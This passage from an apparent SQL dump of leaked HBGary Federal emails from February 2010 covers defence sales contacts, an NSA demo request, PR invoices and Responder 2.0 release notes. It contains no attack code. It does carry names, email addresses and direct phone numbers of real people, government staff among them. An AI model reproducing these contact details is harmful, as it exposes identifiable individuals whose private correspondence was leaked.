interested in responding, please  by 2:00PM EST,\r\n> Jan 29, 2010\r\n>\r\n>\r\n>\r\n> Thank you,\r\n>\r\n>\r\n>\r\n> Tami M. James\r\n>\r\n> IDIQ Project Assistant\r\n>\r\n> IDIQ Solutions Team  >\r\n>\r\n> Northrop Grumman IT\r\n>\r\n> 15010 Conference Center Dr.\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> Tel: 703-336-9134\r\n>\r\n>\r\n>\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',4508,'aaron_hbgary_com/4508.html'),(1949,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000744.M459830P3547Q1950.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Responder and Digital DNA','Begin forwarded message:From: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@TASC.COM&gt;\r\nDate: February 3, 2010 11:19:14 AM MSTTo: &lt;ted@hbgary.com&gt;Cc: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;, &quot;Kamin, Karl V (TASC Inc)&quot; &lt;karl.kamin@TASC.COM&gt;, &quot;Powell, Patrick K (TASC Inc)&quot; &lt;patrick.powell@TASC.COM&gt;\r\nSubject: Responder and Digital DNA\r\n\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.  I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.  Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.  Karl would probably be best at discussing our unique mission set and current approaches.  When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.  Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.  Zero day finds would be the proof we are looking for.\r\n\r\n\r\nThanks.  More to follow.\r\n\r\nJose Sandoval\r\n\r\n92 IOS Program Manager\r\n\r\n210-422-2046 (cell)\r\n\r\n210-925-2209 (site)\r\n\r\n\r\n\r\n\r\n\r\n',13679,'aaron_hbgary_com/13679.html'),(1950,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000744.M61304P3547Q1948.eml','rich@hbgary.com','Re: Lots of good info for you...','I\'ll give u a call.\r\n\r\n From my iPhone\r\n\r\nOn Feb 3, 2010, at 11:15 AM, \"rich@hbgary.com\"  wrote:\r\n\r\n> I look forward to catching up soon.  I spent 25 minutes yesterday\r\n> with vanputte.  I demoed ddna, epo, and responder pro.  Other key\r\n> contacts too.  If nothing else see you in the AM.\r\n> Sent from my Verizon Wireless BlackBerry\r\n',14613,'aaron_hbgary_com/14613.html'),(1951,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000744.M631779P3547Q1951.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Army Forces Cyber','Yesterday Aaron and I met with the Chief of the STO (Special Technical\r\nOperations) Army Strategic Command (ARSTRAT).  I thought you might be\r\ninterested that ARSTRAT has the mission to stand-up Army Forces Cyber,\r\nthe Army component of Cyber Command.  Next week O-6\'s and above from\r\nARSTRAT and SMDC will be meeting in Huntsville to discuss AR4CYBER\r\n(among other things).  One of the things that is still up in the air\r\nis whether a new 3-Star command will be approved.  One approach under\r\nconsideration is adding this to the existing 3-star under ARSTRAT.\r\nDuring a previous meeting I was told that ARSTRAT anticipates\r\nincreasing the size of its information operations cell from 15 people\r\nto 45 people in early to mid 2010 to accommodate for the new mission.\r\nIt sounds like we\'re still at least a few months out before key\r\ndecisions are made and funding is allocated.\r\n\r\nTed\r\n',750,'aaron_hbgary_com/750.html'),(1952,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000744.M850908P3547Q1952.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Responder and Digital DNA','All,Jose is part of the team Ted and I met with in Colorado.  They have some significant cyber programs in San Antonio.  They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems.  They are falling way behind.  If we can show value add quickly, get them caught up.  Jose feels confident they will bring us on contract to support.  Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\nAaronFrom my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: February 3, 2010 2:11:04 PM EST\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: Responder and Digital DNA\r\nBegin forwarded message:From: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@TASC.COM&gt;\r\n\r\nDate: February 3, 2010 11:19:14 AM MSTTo: &lt;ted@hbgary.com&gt;Cc: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;, &quot;Kamin, Karl V (TASC Inc)&quot; &lt;karl.kamin@TASC.COM&gt;, &quot;Powell, Patrick K (TASC Inc)&quot; &lt;patrick.powell@TASC.COM&gt;\r\n\r\nSubject: Responder and Digital DNA\r\n\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.  I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.  Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.  Karl would probably be best at discussing our unique mission set and current approaches.  When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.  Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.  Zero day finds would be the proof we are looking for.\r\n\r\n\r\n\r\nThanks.  More to follow.\r\n\r\nJose Sandoval\r\n\r\n92 IOS Program Manager\r\n\r\n210-422-2046 (cell)\r\n\r\n210-925-2209 (site)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15682,'aaron_hbgary_com/15682.html'),(1953,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000754.M912286P3547Q1953.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Resending for Aaron','Bob,\r\n\r\nPlease let me know if you have any problems opening these files.\r\n\r\nRegards,\r\nTed\r\n',382,'aaron_hbgary_com/382.html'),(1954,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000761.M645442P3547Q1954.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Resending for Aaron','Bob,\r\n\r\nPlease let me know if you have any problems opening these files.\r\n\r\nRegards,\r\nTed\r\n',6424,'aaron_hbgary_com/6424.html'),(1955,'2010-02-03','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000762.M230181P3547Q1956.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Responder and Digital DNA','If they bring us 0day we&#39;ll make sure it shows nicely.On Wed, Feb 3, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAll,Jose is part of the team Ted and I met with in Colorado.  They have some significant cyber programs in San Antonio.  They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems.  They are falling way behind.  If we can show value add quickly, get them caught up.  Jose feels confident they will bring us on contract to support.  Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\n\r\nAaronFrom my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: February 3, 2010 2:11:04 PM EST\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: Responder and Digital DNA\r\n\r\nBegin forwarded message:From: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@TASC.COM&gt;\r\n\r\n\r\nDate: February 3, 2010 11:19:14 AM MSTTo: &lt;ted@hbgary.com&gt;Cc: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;, &quot;Kamin, Karl V (TASC Inc)&quot; &lt;karl.kamin@TASC.COM&gt;, &quot;Powell, Patrick K (TASC Inc)&quot; &lt;patrick.powell@TASC.COM&gt;\r\n\r\n\r\nSubject: Responder and Digital DNA\r\n\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.  I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.  Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.  Karl would probably be best at discussing our unique mission set and current approaches.  When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.  Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.  Zero day finds would be the proof we are looking for.\r\n\r\n\r\n\r\n\r\nThanks.  More to follow.\r\n\r\nJose Sandoval\r\n\r\n92 IOS Program Manager\r\n\r\n210-422-2046 (cell)\r\n\r\n210-925-2209 (site)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8282,'aaron_hbgary_com/8282.html'),(1956,'2010-02-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000762.M428747P3547Q1957.eml','aaron@hbgary.com','January invoice/Feb. work','Hi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided&nbsp;on the budget for PR for February and beyond. If so, I\'d like to&nbsp;be sure to&nbsp;use the hours&nbsp;the best way to&nbsp;support your business goals.&nbsp;&nbsp;\r\n&nbsp;\r\nThanks Aaron. Karen&nbsp;\r\n\r\n',4477,'aaron_hbgary_com/4477.html'),(1957,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000762.M50759P3547Q1955.eml','\"Ted Vera\" <ted@hbgary.com>','Getting started','http://www.cert.org/csirts/Creating-A-CSIRT.html\r\n\r\n From my iPhone\r\n',12344,'aaron_hbgary_com/12344.html'),(1958,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000763.M121213P3547Q1958.eml','\"Barr Aaron\" <aaron@hbgary.com>','alliant small businesses','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11480,'aaron_hbgary_com/11480.html'),(1959,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000763.M385641P3547Q1959.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: January invoice/Feb. work','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: February 3, 2010 2:52:03 PM ESTTo: aaron@hbgary.comSubject: January invoice/Feb. work\r\nHi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided on the budget for PR for February and beyond. If so, I&#39;d like to be sure to use the hours the best way to support your business goals.  \r\n\r\n \r\nThanks Aaron. Karen \r\n\r\n      \r\n',7623,'aaron_hbgary_com/7623.html'),(1960,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000763.M573360P3547Q1960.eml','\"Barr Aaron\" <aaron@hbgary.com>','Dan G','No luck catching Dan, so I left him a voicemail.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4656,'aaron_hbgary_com/4656.html'),(1961,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000763.M792390P3547Q1961.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Amendments being voted on','Some of ours made it in...\r\n\r\nhttp://www.rules.house.gov/PRArticle.aspx?NewsID=4559\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',6766,'aaron_hbgary_com/6766.html'),(1962,'2010-02-03','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297000764.M355216P3547Q1963.eml','all@hbgary.com','Responder 2.0 is live!','The engineering team is pleased to announce the release of Responder 2.0. There are many new features and upgrades in this release that make Responder easier and quicker to use than before. New features in this release:\r\n\r\nA 35% speed increase in analysis time over version 1.5 (according to Martin&#39;s speed tests)Added support for Windows 7 (32 and 64 bit) memory analysis. Added three new project types: &quot;Remote Memory Snapshot&quot;, &quot;Live REcon Session&quot;, and &quot;Forensic Binary Journal&quot;. The &quot;Remote Memory Snapshot&quot; project allows you to capture physical memory on a remote machine using FDPro. The &quot;Live REcon Session&quot; lets you easily run a malware sample in a VMware Virtual Machine while recording the malware&#39;s execution with REcon. The &quot;Forensic Binary Journal&quot; project type gives you the option of importing a REcon .fbj file only without having to import physical memory.\r\n\r\nThe Live REcon Session project type adds fully automated reverse engineering and tracing of malware samples via integration with VMware Workstation and VMware ESX server sandboxes, a huge timesaver that includes automatically generated reports as well as capture of all underlying code execution and data for analysis. (This is a sure-to-be favorite feature for analysts).\r\n\r\nA new landing page has been added when Responder first opens. From this page you can quickly access the last five recently used projects as well as easily access copies of FDPro.exe and REcon.exe that are included with Responder 2.0.\r\n\r\nUpdated the new project creation wizard to streamline project creation.The user interface has been refocused on reporting, including automated analysis of suspicious binaries and potential malware programs.  Beyond the automated report, the new interactive report system allows the analyst to drag and drop detailed information into the report, and control both the content and formatting of the report.\r\n\r\nCompletely upgraded online/integrated help system, and a hardcopy user&#39;s manual to go with the software.REcon plays a much more integrated role in the analysis, the report automatically details all the important behavior from a malware sample, including network activity, file activity, registry activity, and suspicious runtime behavior such as process and DLL injection activity.  All activity is logged down to the individual disassembled instructions behind the behavior, nothing is omitted. Code coverage is illustrated in the disassembly view data samples are shown at every location.  This is like having a post-execution debugger, with registers, stack, and sampled data for every time that location was visited.  This is a paradigm shift from traditional interactive live debugging. Traditional debugging is cumbersome and requires micromanagement to collect data.  This typical debugging environment is designed for CONTROL of the execution, as opposed to OBSERVATION ONLY.  Typically, the analyst does not need to control the execution of a binary at this level, and instead only needs observe the behavior. HBGary&#39;s new approach to debugging is far superior because the analyst can see and query so much more relevant data at one time without having to get into the bits and bytes of single-stepping instructions and using breakpoints.  It&#39;s like having a breakpoint on every basic block 100% of the time, without having to micromanage breakpoints.\r\n\r\nREcon collected control flow is graphable, and this graph can be cross referenced with the executable binary extracted from the physical memory snapshot, allowing both static and dynamic analysis to be combined in one graph.  Code coverage is illustrated on basic blocks which have been hit one or more times at runtime.  Users can examine runtime sample data at any of these locations.\r\n\r\nDigital DNA has been upgraded to support full disassembly and dataflow of every binary found in the memory snapshot (hundreds, if not thousands of potential binaries).  Digital DNA can examine every instruction, and extract behavior from binaries that have their symbols stripped, headers destroyed, even code that exists in rogue memory allocations.  This is all 100% automatic, and the results are weighted so users can determine which binaries are the most suspicious at-a-glance.\r\n\r\nAdded command line support for REcon so it can be integrated into automated malware analysis systems.Large numbers of bugfixes to REcon, performance enhancements, support for XP SP3 sandbox, added log window to REcon.\r\n\r\nAdded ability for Responder to automatically decompress compressed HPAK files.User can now control where project files are stored. This allows users to open projects from anywhere as well as save projects anywhere.\r\n\r\nResponder 2.0 utilizes a new installer and patching mechanism. User configurable hotkeys added to all views.Detection added for multiple SSDTs, and rogue SSDTs.Added two new fuzzy-hashing algorithms to DDNA.\r\n\r\nAdded a new &quot;Samples&quot; panel that contains sample information from runtime data captured using REcon.Right click menus have been reworked to provide more relevant information based on the type of object clicked on.\r\n\r\nAdded a Process ID column to the Objects panel.-Engineering Team\r\n',8334,'aaron_hbgary_com/8334.html'),(1963,'2010-02-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000764.M38161P3547Q1962.eml','\"Aaron Barr\" <aaron@hbgary.com>','Did you SEnd in Tax payement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn sent out an email regarding this and you said OK, did\r\nyou and Ted send this in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10240,'aaron_hbgary_com/10240.html'),(1964,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000764.M551975P3547Q1964.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Did you SEnd in Tax payement','From my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: February 3, 2010 4:26:56 PM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Did you SEnd in Tax payement\r\n\r\n\r\n\r\n\r\nJohn sent out an email regarding this and you said OK, did\r\nyou and Ted send this in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13877,'aaron_hbgary_com/13877.html'),(1965,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000764.M740462P3547Q1965.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Did you SEnd in Tax payement','We gave John the information he requested.AaronOn Feb 3, 2010, at 4:26 PM, Penny Leavy-Hoglund wrote:John sent out an email regarding this and you said OK, did you and Ted send this in?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13407,'aaron_hbgary_com/13407.html'),(1966,'2010-02-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000766.M245037P3547Q1966.eml','aaron@hbgary.com','Re: January invoice/Feb. work','Hi Aaron, Penny asked if I would send you a separate invoice for January PR work, so please see attached. Thanks for processing -- please let me know if you have any questions. Best, K--- On Wed, 2/3/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: January invoice/Feb. workTo: aaron@hbgary.comDate: Wednesday, February 3, 2010, 11:52 AM\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided&nbsp;on the budget for PR for February and beyond. If so, I\'d like to&nbsp;be sure to&nbsp;use the hours&nbsp;the best way to&nbsp;support your business goals.&nbsp;&nbsp;\r\n&nbsp;\r\nThanks Aaron. Karen&nbsp;\r\n\r\n',187,'aaron_hbgary_com/187.html'),(1967,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000767.M737580P3547Q1967.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: January invoice/Feb. work','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Karen Burke \r\n> Date: February 3, 2010 5:17:49 PM EST\r\n> To: aaron@hbgary.com\r\n> Subject: Re: January invoice/Feb. work\r\n> \r\n> Hi Aaron, Penny asked if I would send you a separate invoice for January PR work, so please see attached. Thanks for processing -- please let me know if you have any questions. Best, K\r\n> \r\n> --- On Wed, 2/3/10, Karen Burke  wrote:\r\n> \r\n> From: Karen Burke \r\n> Subject: January invoice/Feb. work\r\n> To: aaron@hbgary.com\r\n> Date: Wednesday, February 3, 2010, 11:52 AM\r\n> \r\n> Hi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided on the budget for PR for February and beyond. If so, I\'d like to be sure to use the hours the best way to support your business goals.  \r\n>  \r\n> Thanks Aaron. Karen \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9042,'aaron_hbgary_com/9042.html'),(1968,'2010-02-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000767.M939012P3547Q1968.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Did you SEnd in Tax payement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, not what I&#8217;m talking about I&#8217;ll find email\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 2:15 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Did you SEnd in Tax payement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe gave John the information he requested.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 3, 2010, at 4:26 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nsent out an email regarding this and you said OK, did you and Ted send this in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15210,'aaron_hbgary_com/15210.html'),(1969,'2010-02-03','rich@hbgary.com','/aaron@hbgary.com/new/1297000768.M136894P3547Q1969.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fw: (U) Digital DNA (HB Gary) Request','\r\n\r\n\r\n\r\n\r\n(U) Digital DNA (HB Gary) Request\r\n\r\nThis is what we need to talk about.  ;). I\'m in the airport waiting for my flight.  If ur avail, give me a call. Sent from my Verizon Wireless BlackBerryFrom:  \"Sprague, Katelyn N\" &lt;ksprague@nsa.gov&gt;\r\nDate: Wed, 3 Feb 2010 16:07:21 -0500To: &lt;rich@hbgary.com&gt;; &lt;matt@hgbary.com&gt;Cc: Sprague, Katelyn N&lt;ksprague@nsa.gov&gt;Subject: (U) Digital DNA (HB Gary) Request\r\n\r\n\r\nGood Afternoon,\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My boss, David Luber meet with you all in Tennessee this week, at the IA conference &#8211; he would like to set up a session for you both to give our office a Digital DNA demo at the unclassified level, as well as the classified level at some point.&nbsp; Please let me know how we can schedule this demo.&nbsp; Thank you and I hope you have a great day. &nbsp;&nbsp;&nbsp; \r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\nKatelyn Sprague\r\n\r\n443-654-1153\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n',7886,'aaron_hbgary_com/7886.html'),(1970,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000770.M839596P3547Q1970.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Cyber Security Conference Brochure & Agenda','I don\'t know Ken Hood do you?  Got the email below from him.  There\'s\r\nan upcoming cyber security strategy meeting in DC.  One of the\r\nspeakers is a Cyber VP I don\'t recognize from IS.\r\n\r\ntv\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ken Hood \r\nDate: Wed, Feb 3, 2010 at 4:15 PM\r\nSubject: Cyber Security Conference Brochure & Agenda\r\nTo: ted@hbgary.com\r\n\r\n\r\nThought you might be interested.\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12149,'aaron_hbgary_com/12149.html'),(1971,'2010-02-03','rich@hbgary.com','/aaron@hbgary.com/new/1297000773.M650319P3547Q1971.eml','\"Alex Torres\" <alex@hbgary.com>,all@hbgary.com','Re: Responder 2.0 is live!','   Congratulations to you all!  This is amazing work and a herculean effort to bring it all together!  Just reading the release notes blow my mind to see how far we\'ve come.  Responder Pro is in a class all its own!  The future is very bright, I hope you guys have good sunglasses!  Matt, Bob and I have gotten most of the key executives inside the DoD and NSA over the past 2 days to understand how we fill gaps in their current defense-in-depth strategies.  The last 2 days meetings is sure to bring in much needed revenue both short and long term.  Thank you for making unbelievably powerful software guys!     Sent from my Verizon Wireless BlackBerryFrom:  Alex Torres &lt;alex@hbgary.com&gt;\r\nDate: Wed, 3 Feb 2010 13:29:15 -0800To: &lt;all@hbgary.com&gt;Subject: Responder 2.0 is live!The engineering team is pleased to announce the release of Responder 2.0. There are many new features and upgrades in this release that make Responder easier and quicker to use than before. New features in this release:\r\n\r\nA 35% speed increase in analysis time over version 1.5 (according to Martin&#39;s speed tests)Added support for Windows 7 (32 and 64 bit) memory analysis. Added three new project types: &quot;Remote Memory Snapshot&quot;, &quot;Live REcon Session&quot;, and &quot;Forensic Binary Journal&quot;. The &quot;Remote Memory Snapshot&quot; project allows you to capture physical memory on a remote machine using FDPro. The &quot;Live REcon Session&quot; lets you easily run a malware sample in a VMware Virtual Machine while recording the malware&#39;s execution with REcon. The &quot;Forensic Binary Journal&quot; project type gives you the option of importing a REcon .fbj file only without having to import physical memory.\r\n\r\nThe Live REcon Session project type adds fully automated reverse engineering and tracing of malware samples via integration with VMware Workstation and VMware ESX server sandboxes, a huge timesaver that includes automatically generated reports as well as capture of all underlying code execution and data for analysis. (This is a sure-to-be favorite feature for analysts).\r\n\r\nA new landing page has been added when Responder first opens. From this page you can quickly access the last five recently used projects as well as easily access copies of FDPro.exe and REcon.exe that are included with Responder 2.0.\r\n\r\nUpdated the new project creation wizard to streamline project creation.The user interface has been refocused on reporting, including automated analysis of suspicious binaries and potential malware programs.  Beyond the automated report, the new interactive report system allows the analyst to drag and drop detailed information into the report, and control both the content and formatting of the report.\r\n\r\nCompletely upgraded online/integrated help system, and a hardcopy user&#39;s manual to go with the software.REcon plays a much more integrated role in the analysis, the report automatically details all the important behavior from a malware sample, including network activity, file activity, registry activity, and suspicious runtime behavior such as process and DLL injection activity.  All activity is logged down to the individual disassembled instructions behind the behavior, nothing is omitted. Code coverage is illustrated in the disassembly view data samples are shown at every location.  This is like having a post-execution debugger, with registers, stack, and sampled data for every time that location was visited.  This is a paradigm shift from traditional interactive live debugging. Traditional debugging is cumbersome and requires micromanagement to collect data.  This typical debugging environment is designed for CONTROL of the execution, as opposed to OBSERVATION ONLY.  Typically, the analyst does not need to control the execution of a binary at this level, and instead only needs observe the behavior. HBGary&#39;s new approach to debugging is far superior because the analyst can see and query so much more relevant data at one time without having to get into the bits and bytes of single-stepping instructions and using breakpoints.  It&#39;s like having a breakpoint on every basic block 100% of the time, without having to micromanage breakpoints.\r\n\r\nREcon collected control flow is graphable, and this graph can be cross referenced with the executable binary extracted from the physical memory snapshot, allowing both static and dynamic analysis to be combined in one graph.  Code coverage is illustrated on basic blocks which have been hit one or more times at runtime.  Users can examine runtime sample data at any of these locations.\r\n\r\nDigital DNA has been upgraded to support full disassembly and dataflow of every binary found in the memory snapshot (hundreds, if not thousands of potential binaries).  Digital DNA can examine every instruction, and extract behavior from binaries that have their symbols stripped, headers destroyed, even code that exists in rogue memory allocations.  This is all 100% automatic, and the results are weighted so users can determine which binaries are the most suspicious at-a-glance.\r\n\r\nAdded command line support for REcon so it can be integrated into automated malware analysis systems.Large numbers of bugfixes to REcon, performance enhancements, support for XP SP3 sandbox, added log window to REcon.\r\n\r\nAdded ability for Responder to automatically decompress compressed HPAK files.User can now control where project files are stored. This allows users to open projects from anywhere as well as save projects anywhere.\r\n\r\nResponder 2.0 utilizes a new installer and patching mechanism. User configurable hotkeys added to all views.Detection added for multiple SSDTs, and rogue SSDTs.Added two new fuzzy-hashing algorithms to DDNA.\r\n\r\nAdded a new &quot;Samples&quot; panel that contains sample information from runtime data captured using REcon.Right click menus have been reworked to provide more relevant information based on the type of object clicked on.\r\n\r\nAdded a Process ID column to the Objects panel.-Engineering Team\r\n\r\n',9333,'aaron_hbgary_com/9333.html'),(1972,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000773.M872468P3547Q1972.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Responder 2.0 is live!','Which meetings is he referring to?\r\n\r\nMatt, Bob and I have gotten most of the key executives inside the DoD\r\nand NSA over the past 2 days to understand how we fill gaps in their\r\ncurrent defense-in-depth strategies. The last 2 days meetings is sure\r\nto bring in much needed revenue both short and long term.\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom:  \r\nDate: Wed, Feb 3, 2010 at 4:40 PM\r\nSubject: Re: Responder 2.0 is live!\r\nTo: Alex Torres , all@hbgary.com\r\n\r\n\r\nCongratulations to you all! This is amazing work and a herculean\r\neffort to bring it all together! Just reading the release notes blow\r\nmy mind to see how far we\'ve come. Responder Pro is in a class all its\r\nown! The future is very bright, I hope you guys have good sunglasses!\r\nMatt, Bob and I have gotten most of the key executives inside the DoD\r\nand NSA over the past 2 days to understand how we fill gaps in their\r\ncurrent defense-in-depth strategies. The last 2 days meetings is sure\r\nto bring in much needed revenue both short and long term.\r\n\r\nThank you for making unbelievably powerful software guys!\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n________________________________\r\nFrom: Alex Torres \r\nDate: Wed, 3 Feb 2010 13:29:15 -0800\r\nTo: \r\nSubject: Responder 2.0 is live!\r\nThe engineering team is pleased to announce the release of Responder\r\n2.0. There are many new features and upgrades in this release that\r\nmake Responder 